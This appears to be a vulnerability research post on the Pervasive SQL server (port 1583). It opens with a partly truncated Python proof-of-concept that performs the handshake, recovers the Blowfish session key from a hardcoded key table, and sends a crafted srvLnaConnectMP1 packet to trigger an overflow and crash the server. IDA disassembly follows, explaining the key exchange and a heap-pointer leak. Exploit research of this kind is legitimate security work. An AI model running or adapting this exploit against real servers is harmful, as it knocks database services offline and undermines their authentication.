            raise RuntimeError, "Attempted to encrypt data of invalid block length: %s" %len (data)
        # Use big endianess since that's what everyone else uses
        cl = ord (data[3]) | (ord (data[2]) << 8) | (ord (data[1]) << 16) | (ord (data[0]) << 24)
        cr = ord (data[7]) | (ord (data[6]) << 8) | (ord (data[5]) << 16) | (ord (data[4]) << 24)
        xl, xr = self.cipher (cl, cr, self.DECRYPT)
        chars = ''.join ([
            chr ((xl >> 24) & 0xFF), chr ((xl >> 16) & 0xFF), chr ((xl >> 8) & 0xFF), chr (xl & 0xFF),
            chr ((xr >> 24) & 0xFF), chr ((xr >> 16) & 0xFF), chr ((xr >> 8) & 0xFF), chr (xr & 0xFF)
        return chars
    def blocksize (self): return 8
    def key_length (self): return 56
    def key_bits (self): return 56 * 8
## protocol
# greeting
def greet(s, ver, parc=1, enc=1):
    class greet_response(ct.Structure):
        _pack_ = 1
        _fields_ = [
            ('stack_f8',c_uint32),      # %ebp-f8
            ('stack_e8',c_uint32),      # %ebp-e8
            ('stack_b8',c_uint32),      # %ebp-b8
    buf = ''
    if parc:
        buf += ' Client string for PARC version %d'% ver
    if enc:
        buf += ' Wire Encryption version %d'% ver
    res = s.send(buf + '\x00'*(0xff - len(buf)))
    if res != 0xff:
        raise Exception, "Unable to send entire handshake "
    assert ct.sizeof(greet_response) == 0xff
    return recv_littleendian(s, greet_response)
# key negotiation
KEY = '\xd6\x24\x69\x93\x5e\xa4\x69\x54\x9f\x3f\x4b\xd4\x81\xc6\x2a\xbb\xc4\x87\xe4\x49\x7a\x75\x79\xec\xe1\xc5\x99\x16\x55\x9c\x8d\xf5\xe4\x3a\x09\xcf\x09\x21\xe7\xb1\x93\xc4\xb6\x4f\x03\x81\x83\xf3\xe5\x3b\xa0\x1c\xac\x97\x39\x53'
def negotiate(s, length=0x400):
    class negotiate_greet(ct.Structure):
        _pack_ = 1
        _fields_ = [
            ('padding', ct.c_byte*0x14),
            ('state1', ct.c_uint32),
            ('state2', ct.c_uint32),
    class negotiate_response(ct.Structure):
        _pack_ = 1
        _fields_ = [
            ('zero', ct.c_uint16),
            ('state', ct.c_uint16),
    data = negotiate_greet()
    data.state1 = random.randint(0,0xffffffff)    # is either 1 or 0
    data.state2 = random.randint(0,0xffffffff)
    send_bigendian(s, c_uint32(ct.sizeof(data) + (length-ct.sizeof(data))))
    send_bigendian(s, data)
    s.send(''.join(map(chr,itertools.starmap(random.randint, ((0,0xff),)*(length-ct.sizeof(data))))))
    size = recv_bigendian(s, c_uint32)
    return recv_littleendian(s, c_uint32*(size/4))
def extractxorkey(negotiationResponse):
    revkey = ''.join(reversed(KEY[-0x10:]))
    blowme = Blowfish(revkey)
    a,b = negotiationResponse[9],negotiationResponse[10]
    enc = (c_uint32*2)(a,b)
    res = buf_littleendian(enc)
    return blowme.decrypt(res)
def extractkey(xorkey):
    data = array.array('B',xorkey)
    key = array.array('B',KEY)
    return ''.join(map(chr,itertools.starmap(operator.xor,itertools.izip(data,key))))
# agent
def agentRequest(s, xorkey, header, data):
    blowme = Blowfish(xorkey[:7])
    encrypt = lambda s,pad='\x00': ''.join(map(blowme.encrypt,map(''.join,zip(*(iter(s + pad*((8-len(s))%8)),)*8))))
    send_bigendian(s, c_uint32(0x43455350))
    assert ct.sizeof(header) == 0x10, 'Header is of invalid size'
    res = buf_bigendian(data)
    class PaddedEnding(ct.Structure):
        _pack_ = 1
        _fields_ = [
            ('End', c_uint8*7),
            ('Overlap', c_uint8),
    end = PaddedEnding()
    if len(res) & 7:
        end.End = end.End.__class__(*map(ord,res[-(len(res)&7):]))
    end.Overlap = 8-(len(res)&7)
    class fProtocolRequest(ct.Structure):
        _pack_ = 1
        _fields_ = [
            ('Header', header.__class__),
            ('Data', c_uint8*(len(res)&~7)),
            ('End', PaddedEnding),
    req = fProtocolRequest()
    req.Header = header
    req.Data = req.Data.__class__(*map(ord,res[:len(res)&~7]))
    req.End = end
    send_bigendian(s, c_uint32(ct.sizeof(req)))
    send_bigendian(s, req.Header)
    return 4 + 4 + ct.sizeof(req)
def agentCall(s, xorkey, call, pkt=None, **kwds):
    pHeader = c_uint32*4
    class pAgentHeader(ct.BigEndianStructure):
        _pack_ = 1
        _fields_ = [
            ('v_arg_0', c_uint32),
            ('v_agentCall_4', c_uint32),
            ('vw_arg_8', c_uint16),
            ('vw_a', c_uint16),
            ('vw_arg_c', c_uint16),
    class pAgent(ct.Structure):
        _pack_ = 1
        _fields_ = [
            ('Header', pAgentHeader),
            ('Packet', pkt.__class__),
    agentHeader = pAgentHeader()
    for k,v in kwds.iteritems():
    agentHeader.v_agentCall_4 = call
    nullpacket = (c_uint8*0)()
    protoHeader = pHeader(random.randint(0,0xffffffff), random.randint(0,0xffffffff), random.randint(0,0xffffffff), random.randint(0,0xffffffff))
    protoData = pAgent(agentHeader, pkt or nullpacket)
    return agentRequest(s, xorkey, protoHeader, protoData)
def srvLnaConnectMP1(s, xorkey, fourohoheight=True):
    class pPacket(ct.BigEndianStructure):
        _pack_ = 1
        _fields_ = [
            ('lv_int32_7268', c_uint32),
            ('lv_buffer_4004', c_uint8*1),
            ('lv_int32_5258', c_uint32),
            ('lv_int32_4008', (c_uint32*1) if fourohoheight else (c_uint32*0)),
    packet = pPacket()
    packet.lv_int32_7268 = 1
    packet.lv_buffer_4004[0] = random.randint(0,0xff)
    packet.lv_int32_5258 = random.randint(0,0x2000)
    if fourohoheight:
        packet.lv_int32_4008[0] = random.randint(0,0xffffffff)
    return agentCall(s, xorkey, 0x41, packet, vw_arg_c=random.randint(2,0x7fff) if fourohoheight else random.randint(0,1))
if __name__ == '__main__':
    print '\n[handshake]'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        s.connect((sys.argv[1], 1583))
    except socket.error:
        print 'relational engine seems to be down, or it\'s not bound to port 1583.'
    res = greet(s, ver=1)
    print dump(res)
    # negotiation for keyexchange
    print '\n[negotiating for the key]'
    res = negotiate(s)
    print dump(res)
    xorkey = extractxorkey(res)
    print 'xorkey',xorkey.encode('hex')
    key = extractkey(xorkey)
    print 'key',key.encode('hex')
    # commands
    print '\n[making an agentCall -> srvLnaConnectMP1]'
    void = srvLnaConnectMP1(s, xorkey, fourohoheight=random.sample((True,False),1)[0])
    # done, check if it's down
    print '\n[sleeping]'
    print '\n[checking server\'s status]'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        s.connect((sys.argv[1], 1583))
    except socket.error:
        print 'server is down'
        print 'unable to trigger overflow'

Key exchange in Pervasive SQL server
psql authentication uses 3 DLLs. psql exchanges a key with the client using blowfish to encode some of the packets that’re exchanged. This is first done by creating a credential object. Credential objects are handled by the pAgentCreate function which can be found by looking into the ThreadEntry_ServerStart function. The credential object is created within w3sqlmgr.dll:

.text:10007990                 mov     edx, CsmPtr
.text:10007996                 mov     eax, [edx+0Ch]
.text:10007999                 push    edi
.text:1000799A                 push    edi
.text:1000799B                 push    ebx
.text:1000799C                 push    edi
.text:1000799D                 call    eax  ; w3csm100.dll!sub_10001040

This calls into the next function which allocates space for the credential object. The credential object reads the Wire Encryption Level that’s configured in the registry and uses it to determine how to authenticate. The default authentication has an Encryption Level of 2 and is a key exchange based on blowfish.

.text:10001073                 mov     ecx, [eax+0Ch]
.text:10001076                 push    edx
.text:10001077                 mov     edx, [ebp+arg_8]
.text:1000107A                 push    edx
.text:1000107B                 lea     edx, [ebp+var_18_object]
.text:1000107E                 push    edx
.text:1000107F                 mov     edx, [ebp+arg_0]
.text:10001082                 add     eax, 0Ch
.text:10001085                 push    edx
.text:10001086                 xor     esi, esi
.text:10001088                 push    eax
.text:10001089                 mov     eax, [ecx+0Ch]
.text:1000108C                 mov     [ebp+var_14], esi
.text:1000108F                 mov     [ebp+var_18_object], esi
.text:10001092                 mov     [ebp+var_4], esi
.text:10001095                 call    eax             ; 10002a00

Immediately after, this object is initialized. This attaches a 0x44 byte blowfish object and uses the Wire Encryption level that’s stored in the registry. Inside a 0x400 byte keyspace is allocated for.

.text:100079B2 loc_100079B2:
.text:100079B2                 mov     eax, [ebx]
.text:100079B4                 mov     ecx, CsmPtr
.text:100079BA                 push    edi
.text:100079BB                 push    edi
.text:100079BC                 lea     edx, [ebx+4]    ; object written to here
.text:100079BF                 push    edx
.text:100079C0                 mov     edx, [ecx+10h]
.text:100079C3                 push    eax
.text:100079C4                 call    edx             ; w3csm100.dll!10001110

Eventually the server will call this function which grabs the Wire Encryption Level and allocates space to manage the key exchange.

.text:10002B6C                 mov     edx, [ebp+arg_10]
.text:10002B6F                 mov     eax, [esi+8]
.text:10002B72                 push    edx
.text:10002B73                 push    eax
.text:10002B74                 mov     eax, [ebp+arg_4_interfaceObject]
.text:10002B77                 push    eax
.text:10002B78                 call    sub_100057A0

The credential object is then passed to a function responsible for negotiating with the server for the key exchange. Inside this function, the server will allocate space for the key and use the address of the allocation as part of the key.

.text:100079D8 loc_100079D8:
.text:100079D8                 mov     ecx, [ebp+var_20c]
.text:100079DE                 push    esi
.text:100079DF                 push    ecx
.text:100079E0                 push    ebx             ; arg_0_credential
.text:100079E1                 call    ServerNegotiation
.text:100079E6                 add     esp, 0Ch

In the server negotiation, this call inside w3sqlmgr.dll is executed to get to w3csm100.dll where the key is created.

.text:10006F7E                 lea     edx, [ebp+var_900_values]
.text:10006F84                 push    edx
.text:10006F85                 mov     edx, CsmPtr
.text:10006F8B                 lea     ecx, [ebp+var_804_buffer]
.text:10006F91                 mov     [ebp+var_8f0_buffer_ptr], ecx
.text:10006F97                 mov     ecx, [ebp+var_818]
.text:10006F9D                 lea     eax, [ebp+var_898]
.text:10006FA3                 push    eax
.text:10006FA4                 mov     [ebp+var_8F4], ebx
.text:10006FAA                 mov     [ebp+var_8FC], 1
.text:10006FB4                 mov     eax, [edx+30h]
.text:10006FB7                 push    ecx
.text:10006FB8                 call    eax                  ; w3csm100.dll!10001550
.text:10006FBA                 mov     [ebp+var_80c], eax

Once inside w3csm100.dll, this call will be entered. Another call in, the server will calculate a pointer to the key data which will be used to produce part of the key.

.text:1000520C                 mov     ecx, [esi]
.text:1000520E                 mov     edx, [ecx+3Ch]
.text:10005211                 push    esi
.text:10005212                 call    edx             ; w3csp100.dll!10004470
.text:100056D1 loc_100056D1:
.text:100056D1                 mov     eax, [ebp+arg_0]
.text:100056D4                 mov     edx, [eax]
.text:100056D6                 lea     ebx, [esi+38h]  ; this address is the first 4 bytes of the key
.text:100056D9                 push    ebx             ; points to object with key data
.text:100056DA                 push    edi             ; number of bits of key
.text:100056DB                 push    eax
.text:100056DC                 mov     eax, [edx+0Ch]
.text:100056DF                 call    eax             ; [] w3csp100.dll!10004470

Finally, the server will take the address that is passed as an argument and use it to generate the key. The server first allocates 4 bytes of memory and then writes the pointer to it. Afterwards, the server takes the number of bits for the blowfish key and divides by 8. This results in the server using 7 to iterate through a loop in the same function.

.text:10004496                 push    4
.text:10004498                 call    ds:pscore::operator new(uint)
.text:1000449E                 add     esp, 4
.text:100044A1                 mov     ecx, [ebp+arg_8_key]
.text:100044A4                 mov     edi, [ebp+arg_4_bits]
.text:100044A7                 shr     edi, 3
.text:100044AA                 mov     [eax], ecx
.text:100044AC                 mov     esi, [ecx+8]    ; key

At this point, the server will use the values in a table at offset b520 to xor 7 bytes of data located at the pointer that the key/pointer was written to previously in this function. The resulting 7 bytes after the xor is then used as a key in order to authenticate later.

.text:100044B8                 mov     ebx, offset xorkey_b520
.text:100044BD                 sub     ebx, esi
.text:100044BF                 mov     [ebp+arg_4_size], ebx
.text:100044C2                 jmp     short enterloop_key7times_44c7
.text:100044C4 ; ---------------------------------------------------------------------------
.text:100044C4 loop_key7times:
.text:100044C4                 mov     ebx, [ebp+arg_4_size]
.text:100044C7 enterloop_key7times:
.text:100044C7                 mov     bl, [ebx+esi]   ; points to xor table
.text:100044CA                 xor     bl, [edx]
.text:100044CC                 add     edx, 1
.text:100044CF                 cmp     ecx, 4
.text:100044D2                 mov     [esi], bl       ; off by one, copies 5 bytes out of heap pointer
.text:100044D4                 jnz     short continue_key7times
.text:100044D6                 xor     ecx, ecx
.text:100044D8                 mov     edx, eax
.text:100044DA continue_key7times:
.text:100044DA                 add     esi, 1
.text:100044DD                 add     ecx, 1
.text:100044E0                 sub     edi, 1
.text:100044E3                 jnz     short loop_key7times

After returning, the server will finally get to the following code. This code will take the xorkey and use it to encrypt the negotiation with the client. This is done by the function at w3csp100.dll!10002370.

.text:10005415 0A0 8B 43 14                          mov     eax, [ebx+14h]
.text:10005418 0A0 8B 10                             mov     edx, [eax]
.text:1000541A 0A0 8B 52 14                          mov     edx, [edx+14h]
.text:1000541D 0A0 8D 4D DC                          lea     ecx, [ebp+var_24]
.text:10005420 0A0 51                                push    ecx
.text:10005421 0A4 83 C3 38                          add     ebx, 38h
.text:10005424 0A4 53                                push    ebx             ; pointer to key that was xored
.text:10005425 0A8 6A 00                             push    0
.text:10005427 0AC 6A 00                             push    0
.text:10005429 0B0 50                                push    eax
.text:1000542A 0B4 FF D2                             call    edx             ; w3csp100.dll!10002370

The next key is made in a function in w3csp100.dll. There’s a global pointer containing a full blowfish key, however the server only takes the last 0x10 bytes of it and reverses it. These bytes are written into a stack variable at var_24.

.text:100023AC 090 33 C0                             xor     eax, eax
.text:100023AE 090 8D 4B 37                          lea     ecx, [ebx+37h]
.text:100023B1                       loop_reverse_key:
.text:100023B1 090 83 F8 10                          cmp     eax, 10h
.text:100023B4 090 7D 12                             jge     short break_reverse_key
.text:100023B6 090 8A 91 D0 B2 00 10                 mov     dl, blowfishkey[ecx]
.text:100023BC 090 88 54 05 DC                       mov     [ebp+eax+var_24_blowfishkey], dl
.text:100023C0 090 83 C0 01                          add     eax, 1
.text:100023C3 090 83 E9 01                          sub     ecx, 1
.text:100023C6 090 EB E9                             jmp     short loop_reverse_key

After copying the key, the server will initialize a blowfish object using this value as the key. At this point, the server will then call EncryptNegotiation. EncryptNegotiation will write the xored pointer key into the packet encrypted with this blowfish object.

.text:100023C8                       break_reverse_key:
.text:100023C8 090 6A 10                             push    10h
.text:100023CA 094 8D 45 DC                          lea     eax, [ebp+var_24_blowfishkey]
.text:100023CD 094 50                                push    eax
.text:100023CE 098 8D 4D B8                          lea     ecx, [ebp+var_48]
.text:100023D1 098 E8 4A FE FF FF                    call    ConstructBlowfishState
.text:100023D6 090 57                                push    edi
.text:100023D7 094 56                                push    esi             ; xor key
.text:100023D8 098 8D 4D C4                          lea     ecx, [ebp+var_48]
.text:100023DB 098 51                                push    ecx
.text:100023DC 09C C6 45 FC 01                       mov     byte ptr [ebp+var_4], 1
.text:100023E0 09C E8 BB FA FF FF                    call    EncryptNegotiation

After the key is exchanged, only 7-bytes of the pointer that was copied out of the 4-byte heap-allocation are used to encrypt/decrypt communication with the server.
Pervasive SQL Server handle connection
The network interaction is mostly in w3sqlmgr.dll (version, based at 0x10000000) the entry point for the server can be located by identifying the code for instantiating a thread and then xreferencing until you find one that contains a string reference to “2530;SHM”. This function is created in a thread for handling every single connection that is made to the port.
The call to accept which grabs your client socket is later in the function at:

.text:10009E77                 mov     ecx, dword_100437E8
.text:10009E7D                 push    ecx
.text:10009E7E                 push    edi
.text:10009E7F                 call    pAgentCreate
.text:10009E84                 add     esp, 8

Inside the AgentCreate function is the call to NetAccept. This call will actually handle each accept call and then pass the handle to ThreadEntry_HandleConnection.

.text:1002078F                 jnz     short loc_10020798
.text:10020791                 call    sub_100059D0
.text:10020796                 jmp     short loc_1002079D
.text:10020798 loc_10020798:
.text:10020798                 call    NetAccept

The thread for ThreadEntry_HandleConnection is created here. This thread will be spawned for each client socket and will actually do the handshake that is required to authenticate to the server. This handler is at address 0x100093F0.

.text:10009EB3                 lea     eax, [ebp+var_190]
.text:10009EB9                 push    eax
.text:10009EBA                 push    0
.text:10009EBC                 push    esi
.text:10009EBD                 push    offset ThreadEntry_HandleConnection
.text:10009EC2                 push    0
.text:10009EC4                 push    0
.text:10009EC6                 call    ds:_beginthreadex

Inside this callback, upon the first call to it, a list of callbacks is registered for each agent identifier. This list of callbacks handles each agent id or command that is submitted to the tcp port. Right below this function call is a call to AgentRead. This function actually handles the protocol’s packets.

.text:100209E8                 push    offset fSrvLnaCallbacks
.text:100209ED                 call    fSrvLnaInit
.text:100209F2                 add     esp, 4
.text:100209F5                 mov     dword_10043D28, 1
.text:100209FF loc_100209FF:
.text:100209FF                 push    edi
.text:10020A00                 push    esi
.text:10020A01                 call    fAgentRead

The structure that’s used to interact with the network socket looks like this.

00000000 NetObject       struc ; (sizeof=0x10)
00000000 NetAccept       dd ?
00000004 NetClose        dd ?
00000008 i32NetSend      dd ?
0000000C i32NetRead      dd ?
00000010 NetObject       ends

Anytime you see a call that looks like the following, this is actually a dynamic call using the structure above. In this case, this is actually a call to i32NetRead. Below these calls are usually a BufGet_TYPE function which will convert the packet data that’s read from the socket into a higher-level data structure. You can see all the various types in the linux binary as their compiler contains a bunch of exports that begin with BufGet_XXXXXXX

.text:10007234                 mov     edx, [ebp+var_18]
.text:10007237                 mov     eax, [esi+0Ch]
.text:1000723A                 mov     ecx, [ebx+0Ch]   ; i32NetRead
.text:1000723D                 push    edx
.text:1000723E                 push    eax
.text:1000723F                 push    edi
.text:10007240                 call    ecx
Comments are closed.